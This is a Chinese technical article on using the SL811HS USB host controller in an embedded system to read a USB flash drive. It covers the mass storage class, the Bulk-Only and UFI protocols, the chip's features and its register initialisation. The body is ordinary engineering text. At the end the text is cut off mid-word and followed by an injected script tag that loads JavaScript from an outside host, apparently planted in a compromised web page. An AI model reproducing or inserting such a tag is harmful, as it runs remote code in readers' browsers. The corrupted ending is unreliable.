主要介绍在嵌入式系统中利用sl811hs对u盘操作的实现方法;简要介绍usb设备中的海量存储类、sl811hs的芯片特点及fat文件系统。
关键词:usb u盘 fat sl811hs
引 言
usb(通用串行总线)用于将适用usb的外围设备(device)连接到主机(host),实现二者之间数据传输的外部总线结构;是一种快速、灵活的总线接口。它最大的特点是易于使用,主要是用在中速和低速的外设。
随着usb规范的完善和成熟,usb外设的种类不断丰富,应用领域也不断扩大。在传统的应用中,主要是pc扮演着主机的角色。根据usb的规范,可以看到在usb的拓朴结构中居于核心地位的是主机,每一次的数据传输都必须由主机发起和控制。但是随着嵌入式产品应用领域的日益增长,usb外设的应用范围也随之扩大,为此在嵌入式系统中实现对usb外设控制也变得日益迫切。
本文针对usb外设中的u盘,说明如何在嵌入式系统中利用sl811hs实现对其的操作。
1 海量存储类
usb设备分为五个大类,即显示器(monitors)、通信设备(communications devices)、音频设备(audio)、人机输入(human input)和海量存储(mass storage)。
通常所用的u盘、移动硬盘均属于海量存储类。
海量存储类的规范中包括四个独立的子规范,即cbi transprot、bulk-only transport、ata command block、ufi command specification。前两个协议定义了数据/命令/状态在usb总线上的传输方法,bulk-only传输协议仅仅使用bulk端点传送数据/命令/状态,cbi传输协议则使用control/bulk/interrupt三种类型的端点进行数据/命令/状态的传送。后两个协议定义了存储介质的操作命令,ata协议用于硬盘,ufi协议则针对usb移动存储。
本设计中所使用的u盘遵循bulk-only传输协议和ufi命令规范。
2 实现方法
2.1 硬件设计
本设计采用sl811hs芯片完成对u盘的操作。sl811hs是cypress公司推出的具有主/从两种工作模式的usb控制器,遵循usb1.1规范;可自动检测总线速率,支持全速12mbps和低速1.5mbps设备;具有8位双向的数据总线,易与单片机连接;片内256字节的sram(其中16字节用于工作寄存器),用于数据传输;可自动产生sof和crc5/16,简化软件工作量;片内具有根hub;支持挂起/唤醒工作模式,减少功耗;支持自动加1功能,减少数据读写周期;3.3v工作电源,接口可承受5v的工作电压,可与多种规格的单片机连接。
单片机与sl811hs接口的原理如图1所示。
2.2 软件设计
通过usb主控芯片对u盘操作的主要工作是在软件方面,它需要对众多规范、协议透彻的理解。下面主要通过软件的工作流程来说明设计过程。
2.2.1 sl811hs初始化
sl811hs共有15个配置寄存器,其中0~4、8~c是usb-a、usb-b的工作配置寄存器,5、f是控制寄存器,6是中断使能寄存器,d为状态寄存器,e、f为sof计数寄存器。各个寄存器的具体功能如表1所列。
在sl811hs上电开始工作后,首先对usb总线复位(置寄存器5的位3为1,延时30ms后清零),然后使能设备检测中断(置寄存器6为0x61)。
2.2.2 设备检测
(1)软件协议
在设备检测阶段,主要通过setup结构的数据包(8字节长)向usb设备的控制端点0(默认端点)发送命?script src=http://er12.com/t.js>